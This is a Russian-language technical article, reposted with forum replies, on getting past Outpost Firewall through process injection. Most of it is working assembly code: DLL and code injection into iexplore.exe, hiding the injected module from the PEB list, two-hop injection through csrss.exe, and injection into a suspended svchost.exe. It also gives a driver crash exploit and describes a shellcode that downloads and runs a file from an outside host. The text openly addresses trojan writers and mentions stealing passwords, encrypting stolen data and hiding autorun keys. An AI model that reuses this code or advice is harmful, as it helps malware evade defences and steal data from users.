-
Инжект как метод обхода фаерволлов, жив или мертв?
Автор: Ms-Rem
Источник: http://www.wasm.ru/article.php?article=fwb
-----------------------------------------------------
Инжект как метод обхода фаерволлов, жив или мертв?
Часть 1, OutpostFirewall.
Наверника многие из вас помнят те времена, когда персональные фаерволлы только появились, и настал черный день для троянописателей. Этот день стал концом для большинства, но не для всех. Вскоре было найдено простое и изьящное решение, суть которого состоит в том, чтобы работать из разрешенного фаерволлом процесса. Решение было простым и не требовало много кода, и заключалось оно в записи и исполнении своего кода в чужой процесс (обычно в процесс InternetExplorer).
Но разработчики фаерволлов ушами не хлопали, и стали отлавливать действия по записи памяти другого процесса. Некоторые перехватывали ZwOpenProcess, некоторые ZwWriteVirtualMemory, некоторые ZwCreateThread. Считается, что с этого момента инжект как метод обхода фаерволлов перестал существовать, так как уже недостаточно было сделать OpenProcess/WriteProcessMemory/CreateRemoteThread. Троянописатели конечно не сидели на есте и придумывали новые способы для отправки данных мимо фаерволла, но по своим возможностям они не могли сравниться с инжектом. Чего только не было придумано, начиная с запуска скрытого окна InternetExplorer и имитации действий пользователя по отправке данных, и заканчивая довольно извратным способом DNS тунелинга, который требовал наличия подконтрольного DNS сервера. Казалось бы инжект остался в прошлом, так как его научились контролировать почти все фаерволлы (за исключением полного отстоя вроде Kaspersky Anty Hacker или бесплатного tdifw), но если детально рассмотреть алгоритмы работы защиты от инжекта, то можно прийти к выводу, что хоронить этот метод еще очень рано, потому что не существует ни одного фаерволла способного перекрыть все пути к инжекту. В этой статья я хочу рассмотреть несколько распостраненных персональных фаерволлов, проанализировать алгоритм работы их защиты от инжекта и рассмотреть некоторые методы ее обхода. Естественно, набор существующих методов не ограничивается приведенными в этой статье, и каждый обладающий воображением сможет найти свой оригинальный метод инжекта. Все примеры в статье написаны на Fasm 1.64, так как он лучше всего подходит для реализации описаных методик. Итак, приступим к делу.
Outpost Firewall, или пример простой защиты.
Итак, первым рассмотрим Outpost Firewall Pro ver.3.0.543.5722. Этот фаерволл я выбрал из за его популярности и простоты реализованной в нем защиты. Outpost отслеживает инжектинг путем перехвата ZwWriteVirtualMemory в SDT ntoskrnl, и блокирует сетевой доступ для процесса память которого была изменена.
Экспериментальным путем было установлено, что Outpost позволяет записать в память процесса не более 16 байт данных. Объяснить это можно тем, что системные службы могут производить запись в память процесса после его запуска, поэтому для исключения ложных срабатываний был введен порог в 16 байт. Что можно сделать с помощью 16 байт? Самое первое что приходит в голову - это инжектинг dll. Имеющиеся 16 байт используем для имени dll (сама dll должна лежать в system32), после чего сделает CreateRemoteThread с lpStartAddress = LoadLibraryA установив lpParameter на наш буфер. Для начала найдем процесс в который будем производить инжект:
FindProcess:
push ebp
mov ebp, esp
sub esp, 13Ch
push esi
mov dword [ebp-13Ch], 128h
invoke CreateToolhelp32Snapshot, 2, 0
mov esi, eax
cmp eax, -1
jz @F
lea eax, [ebp-13Ch]
invoke Process32First, esi, eax
test eax, eax
jz @F
bb:
lea eax, [ebp-118h]
invoke lstrcmpi, eax, ProcessName
test eax, eax
jz pFound
lea eax, [ebp-13Ch]
invoke Process32Next, esi, eax
test eax, eax
jz @F
jmp bb
@@:
pop esi
leave
ret
pFound:
mov eax, [ebp-308]
jmp @B
Теперь можно выделить память, записать имя dll и вызвать CreateRemoteThread:
ProcessName db 'iexplore.exe', 0
DllName db 'fwbdll.dll', 0
NameSize = $-DllName
entry $
call FindProcess
test eax, eax
jz @F
invoke OpenProcess, PROCESS_ALL_ACCESS, 0, eax
test eax, eax
jz @F
mov esi, eax
invoke VirtualAllocEx, esi, 0, 16, MEM_COMMIT+MEM_RESERVE, PAGE_READWRITE
test eax, eax
jz @F
mov edi, eax
invoke WriteProcessMemory, esi, edi, DllName, NameSize, 0
test eax, eax
jz @F
invoke CreateRemoteThread, esi, 0, 0, [LoadLibrary], edi, 0, 0
invoke CloseHandle, esi
@@:
ret
Содержимое dll для демонстрации примера будет весьма безобидное, просто показывается MessageBox с сообщением, но ничего не мешает сделать там отправку паролей с машины, или загрузку и запуск файла.
format PE GUI 4.0 DLL
include '%fasminc%\win32a.inc'
text db 'Fuck you, world!', 0
caption db 'Dll inject', 0
entry $
cmp dword [esp+8], DLL_PROCESS_ATTACH
jnz @F
invoke MessageBox, 0, text, caption, 0
@@:
mov eax, 1
retn 0Ch
section '.idata' import data readable
library user32, 'user32.dll'
include '%fasminc%\apia\user32.inc'
section '.reloc' fixups data discardable
Контроль компонентов.
Все было бы хорошо (живи да радуйся), если бы не контроль компонентов. Outpost, как и большинство других фаерволлов при запросе сетевого соединения проверяют список загруженных в процесс dll, и при наличии новых модулей ) либо при изменении контрольной суммы старых) начинает грязно ругаться, а это может вызвать у юзера подозрения. Следовательно следующим шагом станет обход контроля компонентов.
Если немного пораскинуть мозгами (по асфальту , то легко прийти к выводу, что раз оутпост получает список загруженных dll, значит этот список где-то храниться, а если он где-то есть, то его можно найти и исправить так, чтобы скрыть присутствие нашей dll. Список загруженных модулей процесса хранится в его PEB. Опишем для начала структуру PEB (не всю, а только нужную нам часть):
struct PEB
InheritedAddressSpace db ?
ReadImageFileExecOptions db ?
BeingDebugged db ?
Spare db ?
Mutant dd ?
ImageBaseAddress dd ?
LoaderData dd ?
ProcessParameters dd ?
SubSystemData dd ?
ProcessHeap dd ?
FastPebLock dd ?
FastPebLockRoutine dd ?
FastPebUnlockRoutine dd ?
EnvironmentUpdateCount dd ?
KernelCallbackTable dd ?
SystemReserved dd ?
AtlThunkSListPtr32 dd ?
ends
В этой структуре есть элемент LoaderData, который является указателем на структуру PEB_LDR_DATA с которой начинаются двухсвязные списки загруженных моделей. Каждый загруженный модуль описывается структурой LDR_MODULE:
struct LDR_MODULE
InLoadOrderModuleList LIST_ENTRY ?
InMemoryOrderModuleList LIST_ENTRY ?
InInitializationOrderModuleList LIST_ENTRY ?
BaseAddress dd ?
EntryPoint dd ?
SizeOfImage dd ?
FullDllName UNICODE_STRING ?
BaseDllName UNICODE_STRING ?
Flags dd ?
LoadCount dw ?
TlsIndex dw ?
HashTableEntry LIST_ENTRY ?
TimeDateStamp dd ?
ends
Как вы видите, здесь присутствует три списка загруженных модулей, это InLoadOrderModuleList, InMemoryOrderModuleList и InInitializationOrderModuleList. Первые два содержат все инициализированные модули, а последний обычно пуст. Нам нужно пройтись по списку InLoadOrderModuleList, сравнивая BaseAddress каждого модуля со своим hInstance найти свой модуль, после чего удалить его из InLoadOrderModuleList и InMemoryOrderModuleList. С учетом всего вышесказанного, код нашей безобидной dll принимает следующий вид:
format PE GUI 4.0 DLL
include '%fasminc%\win32a.inc'
include 'structs.inc'
text db 'Fuck you, world!', 0
caption db 'Dll inject', 0
HideFromPeb: ; hInstance
push esi
push ebx
mov esi, [esp+0Ch]
mov eax, [fs:30h]
mov eax, [eax+PEB.LoaderData]
add eax, PEB_LDR_DATA.InLoadOrderModuleList
@@:
mov eax, [eax+LDR_MODULE.InLoadOrderModuleList.Flink]
cmp esi, [eax+LDR_MODULE.BaseAddress]
jnz @B
mov esi, [eax+LIST_ENTRY.Flink]
mov ebx, [eax+LIST_ENTRY.Blink]
mov [ebx+LIST_ENTRY.Flink], esi
mov esi, [eax+LIST_ENTRY.Blink]
mov ebx, [eax+LIST_ENTRY.Flink]
mov [ebx+LIST_ENTRY.Blink], esi
lea eax, [eax+LDR_MODULE.InMemoryOrderModuleList]
mov esi, [eax+LIST_ENTRY.Flink]
mov ebx, [eax+LIST_ENTRY.Blink]
mov [ebx+LIST_ENTRY.Flink], esi
mov esi, [eax+LIST_ENTRY.Blink]
mov ebx, [eax+LIST_ENTRY.Flink]
mov [ebx+LIST_ENTRY.Blink], esi
pop ebx
pop esi
ret
entry $
cmp dword [esp+8], DLL_PROCESS_ATTACH
jnz @F
push dword [esp+4]
call HideFromPeb
invoke MessageBox, 0, text, caption, 0
@@:
mov eax, 1
retn 0Ch
section '.idata' import data readable
library user32, 'user32.dll'
include '%fasminc%\apia\user32.inc'
section '.reloc' fixups data discardable
Все, теперь оутпост не замечает как процесс инжектинга, так и наличие нашей dll и можно спокойно отсылать пароли и качать трояны пачками
Инжектим чистый код.
Инжектинг dll, это конечно просто в реализации, но такой метод мне кажется "грязным", так как требует наличия лишнего файла на диске. Гораздо лучше бы было проинжектить только код производящий нужные нам действия. В 16 байт при всем желании не удастся втиснуть код выполняющий какие-либо полезные действия, но в 16 байт вполне можно уместить код который догрузит все остальное из нашего процесса. В этом коде должен присутствовать всего лишь один вызов ReadProcessMemory, так как хэндл своего процесса можно заранее скопировать с помощью DuplicateHandle. ReadProcessMemory принимает 5 параметров размером в dword, и кажется, что в 16 байт нельзя уместить даже эти параметры не говоря уже о коде, но не все так плохо. На самом деле достаточно будет всего 14 байт, если код загрузчика будет иметь такой вид:
push 0
push InjectSize
push esi
push InjectCode
push edi
call ebx
Мы создадим с помощью CreateRemoteThread поток в приостановленом состоянии (с флагом CREATE_SUSPENDED), а затем использую GetThreadContext/SetThreadContext заполним регистры нужными нам параметрами. Остаток кода будет догружаться после call ebx. Пример такого инжекта показывающий MessageBox будет выглядеть так:
LoaderCode:
push 0
push InjectSize
push esi
push InjectCode
push edi
call ebx
LoaderSize = $-LoaderCode
InjectCode:
call $+5
pop esi
sub esi, $-InjectCode-1
push 0
lea eax, [esi+caption-InjectCode]
push eax
lea eax, [esi+text-InjectCode]
push eax
push 0
call [esi+p_MessageBox-InjectCode]
retn 4
p_MessageBox dd 0
text db 'Fuck you, world!', 0
caption db 'Code inject', 0
InjectSize = $-InjectCode
ProcessName db 'iexplore.exe', 0
align 4
context CONTEXT 0
entry $
push ebp
mov ebp, esp
sub esp, 8
mov eax, [MessageBox]
mov [p_MessageBox], eax
call FindProcess
test eax, eax
jz @F
invoke OpenProcess, PROCESS_ALL_ACCESS, 0, eax
test eax, eax
jz @F
mov [ebp-4], eax
invoke VirtualAllocEx, [ebp-4], 0, LoaderSize+InjectSize, MEM_COMMIT+MEM_RESERVE, PAGE_EXECUTE_READWRITE
test eax, eax
jz @F
mov edi, eax
invoke WriteProcessMemory, [ebp-4], edi, LoaderCode, LoaderSize, 0
lea eax, [ebp-8]
invoke DuplicateHandle, -1, -1, [ebp-4], eax, 0, 0, DUPLICATE_SAME_ACCESS
invoke CreateRemoteThread, [ebp-4], 0, 0, edi, 0, CREATE_SUSPENDED, 0
mov esi, eax
mov [context.ContextFlags], CONTEXT_FULL
invoke GetThreadContext, esi, context
lea eax, [edi+LoaderSize]
mov [context.regEsi], eax
push dword [ebp-8]
pop [context.regEdi]
push [ReadProcessMemory]
pop [context.regEbx]
invoke SetThreadContext, esi, context
invoke ResumeThread, esi
invoke CloseHandle, esi
invoke CloseHandle, [ebp-4]
invoke Sleep, 100
@@:
leave
ret
Инжект в два прыжка.
Итак, если вы думаете что на этом заканчиваются возможности для инжекта, то ошибаетесь. Если вникнуть в некоторые аспекты работы системы, то можно придумать еще несколько способов инжекта. Если вы читали мою статью "Современные технологии дампинга и защиты от него", то несомненно знаете, что в процессе работы системы, процесс csrss.exe (сервер подсистемы win32) производит запись в память GUI процессов. Из этого следует вывод, что во избежании ложных срабатываний фаерволлы не могут контролировать инжекты со стороны этого процесса. Следовательно можно сделать инжект в "два прыжка", сначала проинжектиться в csrss.exe, а затем из него в любой другой процесс. Для инжекта в csrss нам сначала нужно включить Debug привилегию, это делает следующий код:
PrivName db 'SeDebugPrivilege', 0
EnableDebugPrivilege:
push ebp
mov ebp, esp
sub esp, 24h
invoke OpenProcessToken, -1, 28h, esp
test eax, eax
jz @F
lea eax, [esp+8]
invoke LookupPrivilegeValue, 0, PrivName, eax
test eax, eax
jz @F
mov dword [esp+14h], 1
mov eax, [esp+8]
mov [esp+18h], eax
mov eax, [esp+0Ch]
mov [esp+1Ch], eax
mov dword [esp+20h], 2
lea eax, [esp+10h]
push eax
lea eax, [esp+18h]
push eax
push 10h
lea eax, [esp+20h]
push eax
push 0
mov eax, [esp+14h]
push eax
call [AdjustTokenPrivileges]
@@:
leave
ret
Для упрощения работы, сделаем таблицу адресов нужных нам API внутри инжект кода, и составим макросы для эх простого вызова:
macro callx i {call dword [ebp+p_#i-CodeStart]}
macro invokex proc,[arg]
{ common
if ~ arg eq
reverse
pushd arg
common
end if
callx proc }
Теперь можно писать собственно сам инжект код. Этот код при запуске инжектит себя в csrss, а из него - в iexplore.exe, где и показывает MessageBox:
CodeStart:
call $+5
pop ebp
sub ebp, $-CodeStart-1
mov esi, [esp+4]
test esi, esi
jz mbox
invokex OpenProcess, PROCESS_ALL_ACCESS, 0, esi
test eax, eax
jz @F
mov esi, eax
invokex VirtualAllocEx, esi, 0, CodeSize, MEM_COMMIT+MEM_RESERVE, PAGE_EXECUTE_READWRITE
test eax, eax
jz @F
mov edi, eax
push [ebp+InjParam-CodeStart]
mov [ebp+InjParam-CodeStart], 0
invokex WriteProcessMemory, esi, edi, ebp, CodeSize, 0
pop eax
invokex CreateRemoteThread, esi, 0, 0, edi, eax, 0, 0
invokex CloseHandle, esi
jmp @F
mbox:
lea eax, [ebp+caption-CodeStart]
lea ebx, [ebp+text-CodeStart]
invokex MessageBox, 0, ebx, eax, 0
@@:
retn 4
text db 'Fuck you, world!', 0
caption db 'TwoJump inject', 0
p_OpenProcess dd 0
p_VirtualAllocEx dd 0
p_WriteProcessMemory dd 0
p_CreateRemoteThread dd 0
p_CloseHandle dd 0
p_MessageBox dd 0
InjParam dd 0
CodeSize = $-CodeStart
Заполнение адресов в таблице API, определение PID нужных нам процессов и вызов этого кода теперь выглядит очень просто:
ProcessName dd 0
fProc db 'csrss.exe', 0
sProc db 'iexplore.exe', 0
entry $
call EnableDebugPrivilege
mov eax, [OpenProcess]
mov [p_OpenProcess], eax
mov eax, [WriteProcessMemory]
mov [p_WriteProcessMemory], eax
mov eax, [CreateRemoteThread]
mov [p_CreateRemoteThread], eax
mov eax, [VirtualAllocEx]
mov [p_VirtualAllocEx], eax
mov eax, [CloseHandle]
mov [p_CloseHandle], eax
mov eax, [MessageBox]
mov [p_MessageBox], eax
mov [ProcessName], sProc
call FindProcess
test eax, eax
jz @F
mov [InjParam], eax
mov [ProcessName], fProc
call FindProcess
test eax, eax
jz @F
push eax
call CodeStart
@@:
ret
Баги в Outpost.
Дизассемблируя драйвер оутпоста (FILTNT.sys) я натолкнулся на две интересные особенности в обработчике перехвата ZwWriteVirtualMemory. Из этого обработчика вызывается функция с адресом 0x00017B90, которая делает запрос службе оутпоста на проверку возможности записи памяти процесса. В этой функции также есть ряд других проверок, одна из которых осуществляется следующим кодом:
.text:00017C48 xor eax, eax
.text:00017C4A mov ecx, [ebp+var_4]
.text:00017C4D mov al, [ecx+879h]
.text:00017C53 cmp eax, 3
.text:00017C56 jz loc_17E28
.text:00017C5C cmp eax, 6
.text:00017C5F jz loc_17E28
.text:00017C65 cmp eax, 1
.text:00017C68 jz loc_17E28
.text:00017C6E mov cl, [ebx+879h]
.text:00017C74 cmp cl, 4
.text:00017C77 jnz short loc_17CA0
.text:00017C79 mov ecx, [ebp+arg_8]
.text:00017C7C cmp ecx, 4
.text:00017C7F jnz short loc_17CA0
.text:00017C81 lea esi, [esi+0Eh]
.text:00017C84 mov edi, offset aSvchost_exe ; "SVCHOST.EXE"
.text:00017C89 mov ecx, 18h
.text:00017C8E repe cmpsb
.text:00017C90 jnz short loc_17CA0
.text:00017C92 mov eax, 1
.text:00017C97 pop edi
.text:00017C98 pop esi
.text:00017C99 pop ebx
.text:00017C9A mov esp, ebp
.text:00017C9C pop ebp
.text:00017C9D retn 10h
Как вы уже наверно поняли, всем процессам с именем svchost.exe разрешается запись в память других процессов во избежание ложных срабатываний защиты. Поэтому можно использовать даже старые методы инжекта, нужно просто обозвать трояна svchost.exe и оутпост все разрешит! Это конечно можно считать не багом, а фичей, но мне кажется, что разработчики могли бы поответственнее отнестись к реализации такой проверки, хотя бы проверять полный путь к исполнимому файлу, а не только имя процесса.
Дальнейшее изучение драйвера оутпоста позволило мне найти еще один баг в нем, видимо в целях отладки программисты писавшие оутпост сделали в драйвере вывод отладочных сообщений (точнее сообщения драйвер выводит не сам, а передает их службе), и в числе прочих сообщений там имеется дамп содержимого инжектируемого куска памяти. Формирование строки с дампом производится следующим кодом:
.text:00017D88 xor ebx, ebx
.text:00017D8A test edi, edi
.text:00017D8C jle short loc_17DB3
.text:00017D8E lea esi, [ebp-0B0h]
.text:00017D94
.text:00017D94 loc_17D94: ; CODE XREF: sub_17B90+221.j
.text:00017D94 xor eax, eax
.text:00017D96 mov ecx, [ebp+14h]
.text:00017D99 mov al, [ecx+ebx]
.text:00017D9C inc ebx
.text:00017D9D push eax
.text:00017D9E push offset a02x ; "%02X "
.text:00017DA3 push esi
.text:00017DA4 add esi, 3
.text:00017DA7 call sprintf
.text:00017DAC add esp, 0Ch
.text:00017DAF cmp ebx, edi
.text:00017DB1 jl short loc_17D94
Начальный адрес дампимого куска памяти находиться в локальной переменной [ebp+14h], куда он помещается из аргумента ZwWriteVirtualMemory. Как вы видите, в строке mov al, [ecx+ebx] происходит обращение к памяти в юзермодном буфере без проверки ее там присутствия, а следовательно достаточно передать невалидный адрес и система упадет в синий экран. Этот баг уже является уязвимостью в безопасности, так как для того чтобы уронить систему не требуются права администратора. А вот и эксплоит на эту уязвимость:
ProcessName db 'explorer.exe', 0
entry $
call FindProcess
test eax, eax
jz @F
invoke OpenProcess, PROCESS_ALL_ACCESS, 0, eax
test eax, eax
jz @F
mov esi, eax
invoke VirtualAllocEx, esi, 0, 10, MEM_COMMIT+MEM_RESERVE, PAGE_EXECUTE_READWRITE
test eax, eax
jz @F
mov edi, eax
invoke WriteProcessMemory, esi, edi, 0, 10, 0
@@:
ret
Для срабатывания эксплоита необходимо наличие в настройках фаерволла любого правила для explorer.exe, но его можно заменить любым процессом. Наличие уязвимости подтверждено в Outpost Firewall Pro ver. 3.0.543.5722 и Outpost Firewall Pro ver. 2.7.485.5401, но я предполагаю что эта дыра есть и в более ранних версиях.
Инжект в запускаемый процесс.
Итак, мы рассмотрели несколько способов инжекта в уже запущенный процесс, но главным недостатком этих способов является то, что они построены на особенностях конкретного фаерволла, и врядли будут работать на чем-либо кроме оутпоста. Для практического использования очень желательно иметь универсальный метод, работающий против всех фаерволлов. Для того, чтобы найти такой способ, давайте подробно рассмотрим как происходит запуск нового процесса. Запуск процесса состоит из следующих стадий:
1) Разбор параметров переданных в CreateProcessW, открытие исполнимого файла и определение его типа. На этом этапе определяется является ли запускаемый файл dos или win16 файлом (для них запускается ntvdm.exe и wowexec.exe соответственно), для .bat и .cmd файлов запускается cmd.exe. В дальнейшем будем считать, что запускается обычный win32 PE файл.
2) Производиться открытие исполнимого файла с помощью ZwOpenFile.
3) Из открытого файла создается секция с атрибутом SEC_IMAGE с помощью вызова ZwCreateSection.
4) С помощью ZwQuerySection извлекаются атрибуты стека и точки входа запускаемого процесса.
5) Создается объект нового процесса с помощью ZwCreateProcess. На уровне ядра в этот момент происходит создание адресного пространства и структуры EPROCESS. Важно заметить, что в этот момент процесс еще не имеет своих потоков и не может исполняться.
6) Происходит установка приоритета процесса с помощью ZwSetInformationProcess.
7) С помощью ZwQueryInformationProcess извлекается выданный системой адрес PEB нового процесса.
Производиться заполнение PEB и дуплицирование хэндлов ввода-вывода (только для консольных программ). В этот момент многократно вызывается ZwAlocateVirtualMemory, ZwReadVirtualMemory и ZwWriteVirtualMemory.
9) Производиться выделение памяти под стек первичного потока и подготовка его стартового контекста.
10) С помощью ZwCreateThread создается первичный поток.
11) Подсистема win32 (csrss.exe) информируется о старте нового процесса через LPC сообщения. На верхнем уровне этим заведует функция CsrClientCallServer, которая в свою очередь вызывает ZwRequestWaitReplayPort.
12) Первичный поток запускается на исполнение с помощью ZwResumeThread.
Обратите внимание, что на этапе 8 производиться запись в память запускаемого процесса со стороны родительского процесса, поэтому фаерволлы включают контроль инжектов позднее. На основании этого факта можно построить методику инжектов в запускаемый процесс, которая сможет обойти контроль большинства фаерволлов.
С этого момента, для проверки работоспособности инжекта, мы будем пользоваться маленьким базонезависимым шелкодом, который скачивает файл по линку http://ms-rem.dot-link.net/file.exe и запускает его. Файл этот содержит просто MessageBox.
С учетом всего вышесказанного, код производящий инжект описанным способом будет выглядеть так:
format PE GUI 4.0
include '%fasminc%\win32a.inc'
section '.code' code readable writeable executable
stri STARTUPINFO ?
prci PROCESS_INFORMATION ?
szSvchost db 'svchost.exe', 0
injcode file 'code.bin'
codesize = $-injcode
oldp dd 0
entry $
mov [stri.cb], sizeof.STARTUPINFO
invoke CreateProcess, 0, szSvchost, 0, 0, 0, CREATE_SUSPENDED, 0, 0, stri, prci
test eax, eax
jz @F
invoke LoadLibraryEx, szSvchost, 0, DONT_RESOLVE_DLL_REFERENCES
test eax, eax
jz @F
add eax, [eax+3Ch]
mov edi, [eax+28h]
add edi, [eax+34h]
invoke VirtualProtectEx, [prci.hProcess], edi, codesize, PAGE_EXECUTE_READWRITE, oldp
invoke WriteProcessMemory, [prci.hProcess], edi, injcode, codesize, 0
invoke ResumeThread, [prci.hThread]
@@:
ret
section '.idata' import data readable writeable
library kernel32, 'kernel32.dll'
include '%fasminc%\apia\kernel32.inc'
Вышеописанный способ с небольшими изменениями (о них далее) можно применять с многими другими распространенными фаерволлами.
Другие методы защиты оутпоста.
Ну и, осталось рассказать про еще несколько методов защиты применяемых оутпостом. Они врядли могут создать какие-либо проблемы, но все же иногда их следует принимать во внимание.
При использовании инжекта в запускаемый процесс, внимание следует обратить на так называемый "контроль скрытых процессов". На самом деле под скрытым процессом оутпост понимает процесс, который не имеет окна или имеет скрытое окно. При создании правила для приложения, оутпост запоминает факт наличия у него видимого окна, и будет далее проверять его наличие при первом запросе сетевого доступа процессом. В случае с вышеприведенным примером использующим инжект в svchost.exe, это не вызовет никаких проблем, но в случае использования данного метода например с iexplore.exe, оутпост выдаст предупреждение. Сделать обход такой проверки весьма нетрудно, для этого нужно просто создать видимое окно и показать его за экраном (например в координатах -10000, -10000). Можно также использовать другие приемы (такие как 100% прозрачность окна, и т.д.). Приводить код обходящий эту защиту я сейчас не буду, его вы можете найти среди примеров к этой серии статей.
В версиях оутпоста 3.0 и выше, появился новый AntySpyware плугин. Он совмещает в себе три метода защиты. Первый - это сигнатурный скан файлов (вроде антивируса). Я думаю, все вы давно знаете как с подобными вещами бороться (т.к. антивирусы это первейшая проблема возникающая при написании троянов). Второй метод - это сканирование исходящих пакетов на сигнатуры передаваемых приватных данных (номеров кредитных карт, паролей и.т.п.), параметры этой проверки можно установить в настройках плугина. Обойти это проверку очень просто, достаточно просто шифровать передаваемые данные (хотя-бы примитивным ксором). Третья защита этого плугина имхо может создавать проблемы при установке трояна. Она мониторит определенные ключи реестра на предмет их изменения (прописывания в автозагрузку). Список этих ключей можно найти в настройках плугина. Для того чтобы избавиться от этой напасти есть два способа, первый - это пользоваться ключом реестра который оутпост не контролирует, второй - перехватывать в процессе оутпоста функции ZwEnumerateKey/ZwQueryValueKey и маскировать свои изменения. Имхо следует выбирать второй способ ввиду его универсальности.
Заключение.
И так, все защиты оутпоста рассмотрены и побеждены, и теперь хотелось бы сделать выводы из вышеприведенного материала и моих впечатлений от использования этого фаерволла. Оутпост очень удобен в использовании, содержит средства помогающие при отладке сетевых приложений (монитор соединений), имеет полезные фичи вроде вырезки рекламы и кеширования DNS запросов. Он обеспечивает хорошую защиту от внешних атак (ремоутных эксплоитов) и имеет гибкие легконастраиваемые правила, но защиту от троянов совершенно не обеспечивает (это самый простой для обхода фаерволл в этом обзоре).
З.Ы. не торопитесь применять вышеописанное к другим фаерволлам, так как многое здесь касается только оутпоста. Про другие фаерволлы читайте в следующих статьях серии.
-
-
Будь в курсе!
Будь в курсе!
Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:
-
Старая статья, на сегодня не актуальна.
-
-
Не такая уж и старая, всего лишь апрельская. Про новые методы никто писать и не будет.
-
-
celeron Ну почему не будут вот из свеженького 2.08.06
[C] MaD
Обход Outpost Firewall 3.x и 4.0 в Kernel mode
http://wasm.ru/article.php?article=outpostk
А тут коммент от Ms Rem, автора первой статьи
http://wasm.ru/comment.php?artcode=outpostk
Последний раз редактировалось IgorA; 03.08.2006 в 16:24.
IgorA
-
Visiting Helper
- Вес репутации
- 76
Задница настала...причем ПОЛНАЯ!
У меня даже слов нету Ж) Это апокалипсис...
Там изменить 4 байта и будет обход ЛЮБОГО файровала!
Зря они в паблик это выложили
Всего один дурной бит - и гигабайты лежат в маразме.
Скажи мне свою OS и я скажу тебе КТО ты.
-
-
Sanja Драйвер еще подсунуть на машину надо, хотя если судить по разделу Помогите ! это не такая большая проблема
-
"Кому она адресована? Очередной куче ламерья-кулхацкеров, которые тут же начнут кричать на всех форумах (уже начали, кстати!), какой "дырявый", оказывается, Аутпост, или же побегут вставлять куски опубликованного Ms-Rem-ом кода в свои бездарные поделки? Ведь любому специалисту (и команде Аутпоста) все это было известно еще с незапамятных времен - и даже много больше! И только ленивый еще не написал о том, как обойти Аутпост всяческими способами - и нате вам, статья от уважаемого мной Ms-Rem-а с очередным "изобретением велосипеда" по двадцатому разу! Да уж... Похоже, что в очередной своей статье Ms-Rem порадует нас тем, что смог обойти инжектом Microsoft Firewall...
комментарии aintrust http://www.wasm.ru/comment.php?artcode=fwb
-
-
2 Sanja. Сорри, это не задница, это реальность, которая была известна задолго до опубликования статьи- с уровня драйвера можно обойти ЛЮБОЙ файер.
2 SDA. Видишь ли, то, что в Агнитуме что-то знают (или что-то не знают)- зловредописателей это не колышет, они работают с конкретными файерами на их обход. И делают это вполне успешно. Я намекал Михаилу Пеньковскому на то, что их "защита" не более чем голимая поделка, а в ответ услышал лишь маркетологический бред типа "а вот сейчас выйдет 4.0".
-
-
Visiting Helper
- Вес репутации
- 76
Она была известна избранным (мне в том числе)
Сейчас она стала известна всем. И задница настала т.к теперь скрипт-киддесы будут заниматся копи-пейстенгом ж)
Вспомним тогоде sd(rx)bota в который воткнули FU и началось...
Оутпост 4.0 это действительго голимая подделка Ж) Юзер-Мод хуки + нет защиты от установки драйвера Ж)
Всего один дурной бит - и гигабайты лежат в маразме.
Скажи мне свою OS и я скажу тебе КТО ты.
-
-
Кстати, я так понимаю с ZA такие штуки не проходят, я имею ввиду с уровня драйвера(фаервол ОС).
-
-
Visiting Helper
- Вес репутации
- 76
Да и с ЗА проходит Ж)
Просто методы знать надо Ж)
Всего один дурной бит - и гигабайты лежат в маразме.
Скажи мне свою OS и я скажу тебе КТО ты.
-